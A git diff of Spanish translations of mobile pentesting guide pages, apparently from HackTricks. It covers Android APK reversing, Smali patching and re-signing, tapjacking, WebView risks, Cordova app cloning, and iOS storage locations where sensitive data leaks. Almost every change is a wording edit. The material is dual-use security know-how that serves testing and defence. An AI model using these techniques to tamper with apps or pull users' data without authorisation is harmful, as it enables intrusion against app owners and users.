- **Identificación de Técnicas de Ofuscación**: Al monitorear el comportamiento de la aplicación, el análisis dinámico puede ayudar a identificar técnicas específicas de ofuscación que se están utilizando, como virtualización de código, empaquetadores o generación dinámica de código.
|
||||
- **Descubrimiento de Funcionalidades Ocultas**: El código ofuscado puede contener funcionalidades ocultas que no son evidentes a través del análisis estático solo. El análisis dinámico permite observar todos los caminos de código, incluidos aquellos ejecutados condicionalmente, para descubrir tales funcionalidades ocultas.
|
||||
|
||||
## Referencias y Lectura Adicional
|
||||
|
||||
- [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
- BlackHat USA 2018: “Desempaquetando el Desempaquetador Empaquetado: Ingeniería Inversa de una Biblioteca Anti-Análisis de Android” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
- BlackHat USA 2018: “Desempaquetando el Empaquetador Empaquetado: Ingeniería Inversa de una Biblioteca Anti-Análisis de Android” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
- Esta charla aborda la ingeniería inversa de una de las bibliotecas nativas anti-análisis más complejas que he visto utilizadas por una aplicación de Android. Cubre principalmente técnicas de ofuscación en código nativo.
|
||||
- REcon 2019: “El Camino hacia la Carga Útil: Edición Android” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
- Esta charla discute una serie de técnicas de ofuscación, únicamente en código Java, que un botnet de Android estaba utilizando para ocultar su comportamiento.
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
# Análisis de Aplicaciones React Native
|
||||
|
||||
Para confirmar si la aplicación fue construida en el marco de React Native, sigue estos pasos:
|
||||
Para confirmar si la aplicación fue construida sobre el framework React Native, sigue estos pasos:
|
||||
|
||||
1. Cambia el nombre del archivo APK con una extensión zip y extráelo a una nueva carpeta usando el comando `cp com.example.apk example-apk.zip` y `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Navega a la carpeta ReactNative recién creada y localiza la carpeta de assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en un formato minificado.
|
||||
2. Navega a la carpeta ReactNative recién creada y localiza la carpeta assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en un formato minificado.
|
||||
|
||||
3. Usa el comando `find . -print | grep -i ".bundle$"` para buscar el archivo JavaScript.
|
||||
|
||||
@ -18,13 +18,13 @@ Puedes subir el archivo a [https://spaceraccoon.github.io/webpack-exploder/](htt
|
||||
|
||||
1. Abre el archivo `index.html` en Google Chrome.
|
||||
|
||||
2. Abre la Barra de Herramientas del Desarrollador presionando **Command+Option+J para OS X** o **Control+Shift+J para Windows**.
|
||||
2. Abre la Barra de Herramientas para Desarrolladores presionando **Command+Option+J para OS X** o **Control+Shift+J para Windows**.
|
||||
|
||||
3. Haz clic en "Sources" en la Barra de Herramientas del Desarrollador. Deberías ver un archivo JavaScript que está dividido en carpetas y archivos, formando el paquete principal.
|
||||
3. Haz clic en "Sources" en la Barra de Herramientas para Desarrolladores. Deberías ver un archivo JavaScript que está dividido en carpetas y archivos, formando el paquete principal.
|
||||
|
||||
Si encuentras un archivo llamado `index.android.bundle.map`, podrás analizar el código fuente en un formato no minimizado. Los archivos de mapa contienen mapeo de origen, lo que te permite mapear identificadores minimizados.
|
||||
|
||||
Para buscar credenciales y puntos finales sensibles, sigue estos pasos:
|
||||
Para buscar credenciales sensibles y puntos finales, sigue estos pasos:
|
||||
|
||||
1. Identifica palabras clave sensibles para analizar el código JavaScript. Las aplicaciones de React Native a menudo utilizan servicios de terceros como Firebase, puntos finales del servicio AWS S3, claves privadas, etc.
|
||||
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Reversión de Bibliotecas Nativas
|
||||
# Reversing Native Libraries
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Para más información, consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de desensamblar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad.
|
||||
Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de descompilar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad.
|
||||
|
||||
### Puntos Clave:
|
||||
|
||||
@ -20,7 +20,7 @@ Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente es
|
||||
- **Carga y Ejecución de Bibliotecas:**
|
||||
- Las bibliotecas se cargan en memoria usando `System.loadLibrary` o `System.load`.
|
||||
- JNI_OnLoad se ejecuta al cargar la biblioteca.
|
||||
- Los métodos nativos declarados en Java se vinculan a funciones nativas, habilitando la ejecución.
|
||||
- Los métodos nativos declarados en Java se vinculan a funciones nativas, permitiendo la ejecución.
|
||||
- **Vinculación de Métodos de Java a Funciones Nativas:**
|
||||
- **Vinculación Dinámica:** Los nombres de las funciones en las bibliotecas nativas coinciden con un patrón específico, permitiendo la vinculación automática.
|
||||
- **Vinculación Estática:** Utiliza `RegisterNatives` para la vinculación, proporcionando flexibilidad en la nomenclatura y estructura de funciones.
|
||||
@ -33,7 +33,7 @@ Las aplicaciones de Android pueden utilizar bibliotecas nativas, típicamente es
|
||||
|
||||
- **Aprendiendo Ensamblador ARM:**
|
||||
- Sugerido para una comprensión más profunda de la arquitectura subyacente.
|
||||
- [Conceptos Básicos de Ensamblador ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) de Azeria Labs es recomendado.
|
||||
- [Fundamentos de Ensamblador ARM](https://azeria-labs.com/writing-arm-assembly-part-1/) de Azeria Labs es recomendado.
|
||||
- **Documentación de JNI y NDK:**
|
||||
- [Especificación JNI de Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
- [Consejos de JNI de Android](https://developer.android.com/training/articles/perf-jni)
|
||||
|
||||
@ -33,10 +33,10 @@ Si `apktool` tiene **problemas decodificando la aplicación**, echa un vistazo a
|
||||
Puedes **cambiar** **instrucciones**, cambiar el **valor** de algunas variables o **agregar** nuevas instrucciones. Yo cambio el código Smali usando [**VS Code**](https://code.visualstudio.com), luego instalas la **extensión smalise** y el editor te dirá si alguna **instrucción es incorrecta**.\
|
||||
Algunos **ejemplos** se pueden encontrar aquí:
|
||||
|
||||
- [Ejemplos de cambios en Smali](smali-changes.md)
|
||||
- [Ejemplos de cambios Smali](smali-changes.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](google-ctf-2018-shall-we-play-a-game.md)
|
||||
|
||||
O puedes [**ver a continuación algunos cambios en Smali explicados**](smali-changes.md#modifying-smali).
|
||||
O puedes [**ver a continuación algunos cambios Smali explicados**](smali-changes.md#modifying-smali).
|
||||
|
||||
## Recompilar el APK
|
||||
|
||||
@ -67,7 +67,7 @@ zipalign -v 4 infile.apk
|
||||
```
|
||||
### **Firma el nuevo APK (¿de nuevo?)**
|
||||
|
||||
Si **prefieres** usar [**apksigner**](https://developer.android.com/studio/command-line/) en lugar de jarsigner, **debes firmar el apk** después de aplicar **la optimización con** zipalign. PERO TEN EN CUENTA QUE SOLO TIENES QUE **FIRMAR LA APLICACIÓN UNA VEZ** CON jarsigner (antes de zipalign) O CON aspsigner (después de zipalign).
|
||||
Si **prefieres** usar [**apksigner**](https://developer.android.com/studio/command-line/) en lugar de jarsigner, **debes firmar el apk** después de aplicar **la optimización con** zipalign. PERO TEN EN CUENTA QUE SOLO TIENES QUE **FIRMAR LA APLICACIÓN UNA VEZ** CON jarsigner (antes de zipalign) O CON apksigner (después de zipalign).
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
En situaciones donde una aplicación está restringida a ciertos países, y no puedes instalarla en tu dispositivo Android debido a limitaciones regionales, suplantar tu ubicación a un país donde la aplicación está disponible puede otorgarte acceso. Los pasos a continuación detallan cómo hacerlo:
|
||||
En situaciones donde una aplicación está restringida a ciertos países, y no puedes instalarla en tu dispositivo Android debido a limitaciones regionales, suplantar tu ubicación a un país donde la aplicación está disponible puede otorgarte acceso. Los pasos a continuación detallan cómo hacer esto:
|
||||
|
||||
1. **Instalar Hotspot Shield Free VPN Proxy:**
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## **Información Básica**
|
||||
|
||||
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oscurece visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
|
||||
En efecto, está **cegando al usuario para que no sepa que en realidad está realizando acciones en la aplicación víctima**.
|
||||
En efecto, está **cegando al usuario para que no sepa que realmente está realizando acciones en la aplicación víctima**.
|
||||
|
||||
### Detección
|
||||
|
||||
@ -39,7 +39,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
La **aplicación de Android más reciente** que realiza un ataque de Tapjacking (+ invocando antes de una actividad exportada de la aplicación atacada) se puede encontrar en: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Sigue las **instrucciones del README para usarlo**.
|
||||
Sigue las **instrucciones del README para usarla**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
@ -50,7 +50,7 @@ Un proyecto de ejemplo que implementa **FloatingWindowApp**, que se puede usar p
|
||||
> [!CAUTION]
|
||||
> Parece que este proyecto ahora no está mantenido y esta funcionalidad ya no funciona correctamente
|
||||
|
||||
Puedes usar [**qark**](https://github.com/linkedin/qark) con los parámetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para crear una aplicación maliciosa que pruebe posibles vulnerabilidades de **Tapjacking**.\
|
||||
Puedes usar [**qark**](https://github.com/linkedin/qark) con los parámetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para crear una aplicación maliciosa para probar posibles vulnerabilidades de **Tapjacking**.\
|
||||
|
||||
La mitigación es relativamente simple, ya que el desarrollador puede optar por no recibir eventos táctiles cuando una vista está cubierta por otra. Usando la [Referencia del Desarrollador de Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Guía sobre Configuraciones y Seguridad de WebView
|
||||
|
||||
### Descripción General de las Vulnerabilidades de WebView
|
||||
### Visión General de las Vulnerabilidades de WebView
|
||||
|
||||
Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
|
||||
|
||||
@ -12,7 +12,7 @@ Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebV
|
||||
|
||||
### **Acceso a Archivos en WebViews**
|
||||
|
||||
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad se controla mediante el método `setAllowFileAccess()`, disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso **android.permission.READ_EXTERNAL_STORAGE** pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (`file://path/to/file`).
|
||||
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad es controlada por el método `setAllowFileAccess()`, disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso **android.permission.READ_EXTERNAL_STORAGE** pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (`file://path/to/file`).
|
||||
|
||||
#### **Características Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs**
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@ Copia el contenido de `bank/assets/www` a `bank-new/www`, excluyendo `cordova_pl
|
||||
|
||||
Especifica la plataforma (Android o iOS) al crear un nuevo proyecto de Cordova. Para clonar una aplicación de Android, añade la plataforma Android. Ten en cuenta que las versiones de plataforma de Cordova y los niveles de API de Android son distintos. Consulta la [documentación](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) de Cordova para obtener detalles sobre las versiones de plataforma y las API de Android compatibles.
|
||||
|
||||
Para determinar la versión adecuada de la plataforma Cordova Android, verifica el `PLATFORM_VERSION_BUILD_LABEL` en el archivo `cordova.js` de la aplicación original.
|
||||
Para determinar la versión de plataforma de Cordova Android adecuada, verifica el `PLATFORM_VERSION_BUILD_LABEL` en el archivo `cordova.js` de la aplicación original.
|
||||
|
||||
Después de configurar la plataforma, instala los plugins requeridos. El archivo `bank/assets/www/cordova_plugins.js` de la aplicación original enumera todos los plugins y sus versiones. Instala cada plugin individualmente como se muestra a continuación:
|
||||
```bash
|
||||
|
||||
@ -82,7 +82,7 @@
|
||||
### Comunicación de Red
|
||||
|
||||
- [ ] Realiza un [**MitM a la comunicación**](ios-pentesting/#network-communication) y busca vulnerabilidades web.
|
||||
- [ ] Verifica si se está **verificando el nombre del host del certificado**](ios-pentesting/#hostname-check).
|
||||
- [ ] Verifica si se está **verificando el hostname del certificado**](ios-pentesting/#hostname-check).
|
||||
- [ ] Verifica/Elude [**Certificate Pinning**](ios-pentesting/#certificate-pinning).
|
||||
|
||||
### **Varios**
|
||||
|
||||
@ -165,14 +165,14 @@ ios-hooking-with-objection.md
|
||||
La estructura de un **archivo IPA** es esencialmente la de un **paquete comprimido**. Al renombrar su extensión a `.zip`, se puede **descomprimir** para revelar su contenido. Dentro de esta estructura, un **Bundle** representa una aplicación completamente empaquetada lista para la instalación. Dentro, encontrarás un directorio llamado `<NAME>.app`, que encapsula los recursos de la aplicación.
|
||||
|
||||
- **`Info.plist`**: Este archivo contiene detalles de configuración específicos de la aplicación.
|
||||
- **`_CodeSignature/`**: Este directorio incluye un archivo plist que contiene una firma, asegurando la integridad de todos los archivos en el paquete.
|
||||
- **`_CodeSignature/`**: Este directorio incluye un archivo plist que contiene una firma, asegurando la integridad de todos los archivos en el bundle.
|
||||
- **`Assets.car`**: Un archivo comprimido que almacena archivos de recursos como íconos.
|
||||
- **`Frameworks/`**: Esta carpeta alberga las bibliotecas nativas de la aplicación, que pueden estar en forma de archivos `.dylib` o `.framework`.
|
||||
- **`PlugIns/`**: Esto puede incluir extensiones a la aplicación, conocidas como archivos `.appex`, aunque no siempre están presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para uso offline, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en múltiples dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o paquete.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que un idioma no esté soportado.
|
||||
- **Seguridad**: El directorio `_CodeSignature/` juega un papel crítico en la seguridad de la aplicación al verificar la integridad de todos los archivos empaquetados a través de firmas digitales.
|
||||
- **Gestión de Activos**: El archivo `Assets.car` utiliza compresión para gestionar eficientemente los activos gráficos, crucial para optimizar el rendimiento de la aplicación y reducir su tamaño total.
|
||||
- **Gestión de Activos**: El archivo `Assets.car` utiliza compresión para gestionar de manera eficiente los activos gráficos, crucial para optimizar el rendimiento de la aplicación y reducir su tamaño total.
|
||||
- **Frameworks y PlugIns**: Estos directorios subrayan la modularidad de las aplicaciones iOS, permitiendo a los desarrolladores incluir bibliotecas de código reutilizables (`Frameworks/`) y extender la funcionalidad de la aplicación (`PlugIns/`).
|
||||
- **Localización**: La estructura soporta múltiples idiomas, facilitando el alcance global de la aplicación al incluir recursos para paquetes de idiomas específicos.
|
||||
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Entre la miríada de información que el archivo **Info.plist** puede revelar, las entradas notables incluyen cadenas de permisos de la aplicación (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`), y configuraciones para la seguridad del transporte de aplicaciones (`NSAppTransportSecurity`). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), se pueden localizar fácilmente inspeccionando el archivo o empleando un simple comando `grep`:
|
||||
Entre la miríada de información que el archivo **Info.plist** puede revelar, las entradas notables incluyen cadenas de permisos de la aplicación (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`), y configuraciones para la seguridad del transporte de aplicaciones (`NSAppTransportSecurity`). Estas entradas, junto con otras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), pueden ser localizadas fácilmente inspeccionando el archivo o empleando un simple comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -227,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
**Directorio del paquete:**
|
||||
|
||||
- **AppName.app**
|
||||
- Este es el paquete de la aplicación como se vio antes en el IPA, contiene datos esenciales de la aplicación, contenido estático así como el binario compilado de la aplicación.
|
||||
- Este es el Paquete de Aplicación como se vio antes en el IPA, contiene datos esenciales de la aplicación, contenido estático así como el binario compilado de la aplicación.
|
||||
- Este directorio es visible para los usuarios, pero **los usuarios no pueden escribir en él**.
|
||||
- El contenido en este directorio **no se respalda**.
|
||||
- Los contenidos de esta carpeta se utilizan para **validar la firma del código**.
|
||||
@ -240,16 +240,16 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- El contenido en este directorio **se respalda**.
|
||||
- La aplicación puede deshabilitar rutas configurando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Contiene todos los **archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies** y archivos de configuración de lista de propiedades (plist).
|
||||
- Contiene todos los **archivos que no son específicos del usuario**, como **cachés**, **preferencias**, **cookies**, y archivos de configuración de lista de propiedades (plist).
|
||||
- Las aplicaciones de iOS suelen usar los subdirectorios `Application Support` y `Caches`, pero la aplicación puede crear subdirectorios personalizados.
|
||||
- **Library/Caches/**
|
||||
- Contiene **archivos en caché semi-persistentes.**
|
||||
- Contiene **archivos de caché semi-persistentes.**
|
||||
- Invisible para los usuarios y **los usuarios no pueden escribir en él**.
|
||||
- El contenido en este directorio **no se respalda**.
|
||||
- El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en ejecución y el espacio de almacenamiento es bajo.
|
||||
- **Library/Application Support/**
|
||||
- Contiene **archivos** **persistentes** necesarios para ejecutar la aplicación.
|
||||
- **Invisible** **para** **los** **usuarios** y los usuarios no pueden escribir en él.
|
||||
- **Invisible** **para** **los usuarios** y los usuarios no pueden escribir en él.
|
||||
- El contenido en este directorio **se respalda**.
|
||||
- La aplicación puede deshabilitar rutas configurando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
@ -257,13 +257,13 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- La información se guarda, sin cifrar, dentro del sandbox de la aplicación en un archivo plist llamado \[BUNDLE_ID].plist.
|
||||
- Todos los pares clave/valor almacenados usando `NSUserDefaults` se pueden encontrar en este archivo.
|
||||
- **tmp/**
|
||||
- Utiliza este directorio para escribir **archivos temporales** que no necesitan persistir entre lanzamientos de la aplicación.
|
||||
- Contiene archivos en caché no persistentes.
|
||||
- Usa este directorio para escribir **archivos temporales** que no necesitan persistir entre lanzamientos de la aplicación.
|
||||
- Contiene archivos de caché no persistentes.
|
||||
- **Invisible** para los usuarios.
|
||||
- El contenido en este directorio no se respalda.
|
||||
- El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en ejecución y el espacio de almacenamiento es bajo.
|
||||
|
||||
Veamos más de cerca el paquete de la aplicación de iGoat-Swift (.app) dentro del directorio del paquete (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Veamos más de cerca el Paquete de Aplicación de iGoat-Swift (.app) dentro del directorio del Paquete (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -366,7 +366,7 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Los siguientes lugares para almacenar información deben ser revisados **justo después de instalar la aplicación**, **después de verificar todas las funcionalidades** de la aplicación e incluso después de **cerrar sesión de un usuario y entrar en uno diferente**.\
|
||||
> Los siguientes lugares para almacenar información deben ser revisados **justo después de instalar la aplicación**, **después de verificar todas las funcionalidades** de la aplicación e incluso después de **cerrar sesión de un usuario e iniciar sesión en uno diferente**.\
|
||||
> El objetivo es encontrar **información sensible no protegida** de la aplicación (contraseñas, tokens), del usuario actual y de usuarios que han iniciado sesión anteriormente.
|
||||
|
||||
### Plist
|
||||
@ -391,7 +391,7 @@ Para convertir archivos de **XML o binario (bplist)** a XML, hay varios métodos
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**Para usuarios de Linux:** Instala `libplist-utils` primero, luego usa `plistutil` para convertir tu archivo:
|
||||
**Para usuarios de Linux:** Instale `libplist-utils` primero, luego use `plistutil` para convertir su archivo:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
@ -438,7 +438,7 @@ Como las bases de datos Yap son bases de datos sqlite, puedes encontrarlas utili
|
||||
|
||||
### Otras Bases de Datos SQLite
|
||||
|
||||
Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar **almacenando** **datos** **sensibles** en ellas y dejándolos sin cifrar. Por lo tanto, siempre es interesante revisar cada base de datos dentro del directorio de aplicaciones. Por lo tanto, ve al directorio de la aplicación donde se guardan los datos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar **almacenando** **datos** **sensibles** en ellas y dejándolos sin cifrar. Por lo tanto, siempre es interesante revisar cada base de datos dentro del directorio de la aplicación. Por lo tanto, ve al directorio de la aplicación donde se guardan los datos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||||
```bash
|
||||
find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
@ -512,19 +512,19 @@ Por defecto, NSURLSession almacena datos, como **solicitudes y respuestas HTTP e
|
||||
|
||||
Se **recomienda deshabilitar el almacenamiento en caché de estos datos**, ya que puede contener información sensible en la solicitud o respuesta. La siguiente lista muestra diferentes formas de lograr esto:
|
||||
|
||||
1. Se recomienda eliminar las respuestas en caché después de cerrar sesión. Esto se puede hacer con el método proporcionado por Apple llamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puedes llamar a este método de la siguiente manera:
|
||||
1. Se recomienda eliminar las respuestas en caché después de cerrar sesión. Esto se puede hacer con el método proporcionado por Apple llamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puedes llamar a este método de la siguiente manera:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Este método eliminará todas las solicitudes y respuestas en caché del archivo Cache.db.
|
||||
|
||||
2. Si no necesitas aprovechar las cookies, se recomienda simplemente usar la propiedad de configuración [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que deshabilitará el guardado de cookies y cachés.
|
||||
2. Si no necesitas aprovechar las cookies, se recomienda simplemente usar la propiedad de configuración [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que deshabilitará el guardado de cookies y cachés.
|
||||
|
||||
[Documentación de Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver predeterminado), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en el disco. En su lugar, los datos relacionados con la sesión se almacenan en RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indicas que escriba el contenido de una URL en un archivo.`
|
||||
|
||||
3. La caché también se puede deshabilitar configurando la Política de Caché a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de la caché de cualquier manera, ya sea en memoria o en disco.
|
||||
3. La caché también se puede deshabilitar configurando la Política de Caché a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto deshabilitará el almacenamiento de la caché de cualquier manera, ya sea en memoria o en disco.
|
||||
|
||||
### Capturas de pantalla
|
||||
|
||||
@ -584,7 +584,7 @@ Para extraer estas credenciales almacenadas, se utiliza el comando de Objection
|
||||
|
||||
## **Teclados Personalizados y Caché de Teclado**
|
||||
|
||||
Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en **Configuración > General > Teclado > Teclados**. Aunque estos teclados ofrecen funcionalidad extendida, representan un riesgo de registro de pulsaciones y transmisión de datos a servidores externos, aunque se notifica a los usuarios sobre los teclados que requieren acceso a la red. Las aplicaciones pueden, y deben, restringir el uso de teclados personalizados para la entrada de información sensible.
|
||||
Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en **Configuración > General > Teclado > Teclados**. Aunque estos teclados ofrecen funcionalidad extendida, representan un riesgo de registro de pulsaciones y transmisión de datos a servidores externos, aunque los usuarios son notificados sobre los teclados que requieren acceso a la red. Las aplicaciones pueden, y deben, restringir el uso de teclados personalizados para la entrada de información sensible.
|
||||
|
||||
**Recomendaciones de Seguridad:**
|
||||
|
||||
@ -594,7 +594,7 @@ Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado per
|
||||
|
||||
### **Prevención de Caché en Campos de Texto**
|
||||
|
||||
El [protocolo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) ofrece propiedades para gestionar la autocorrección y la entrada de texto segura, esenciales para prevenir el almacenamiento en caché de información sensible. Por ejemplo, deshabilitar la autocorrección y habilitar la entrada de texto segura se puede lograr con:
|
||||
El [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) ofrece propiedades para gestionar la autocorrección y la entrada de texto segura, esenciales para prevenir el almacenamiento en caché de información sensible. Por ejemplo, deshabilitar la autocorrección y habilitar la entrada de texto segura se puede lograr con:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
@ -610,7 +610,7 @@ La depuración de código a menudo implica el uso de **registros**. Existe un ri
|
||||
|
||||
A pesar de estas restricciones, un **atacante con acceso físico** a un dispositivo desbloqueado aún puede explotar esto conectando el dispositivo a una computadora y **leyendo los registros**. Es importante tener en cuenta que los registros permanecen en el disco incluso después de la desinstalación de la aplicación.
|
||||
|
||||
Para mitigar riesgos, se aconseja **interactuar a fondo con la aplicación**, explorando todas sus funcionalidades e inputs para asegurarse de que no se esté registrando inadvertidamente información sensible.
|
||||
Para mitigar riesgos, se aconseja **interactuar a fondo con la aplicación**, explorando todas sus funcionalidades e inputs para asegurarse de que no se esté registrando información sensible de manera inadvertida.
|
||||
|
||||
Al revisar el código fuente de la aplicación en busca de posibles filtraciones, busque tanto **declaraciones de registro** **predefinidas** como **personalizadas** utilizando palabras clave como `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` para funciones integradas, y cualquier mención de `Logging` o `Logfile` para implementaciones personalizadas.
|
||||
|
||||
@ -627,7 +627,7 @@ son útiles. Además, **Xcode** proporciona una forma de recopilar registros de
|
||||
2. Conecta el dispositivo iOS.
|
||||
3. Navega a **Ventana** -> **Dispositivos y Simuladores**.
|
||||
4. Selecciona tu dispositivo.
|
||||
5. Activa el problema que estás investigando.
|
||||
5. Provoca el problema que estás investigando.
|
||||
6. Usa el botón **Abrir Consola** para ver los registros en una nueva ventana.
|
||||
|
||||
Para un registro más avanzado, conectarse al shell del dispositivo y usar **socat** puede proporcionar monitoreo de registros en tiempo real:
|
||||
@ -652,7 +652,7 @@ Los archivos en `Documents/` y `Library/Application Support/` se respaldan por d
|
||||
|
||||
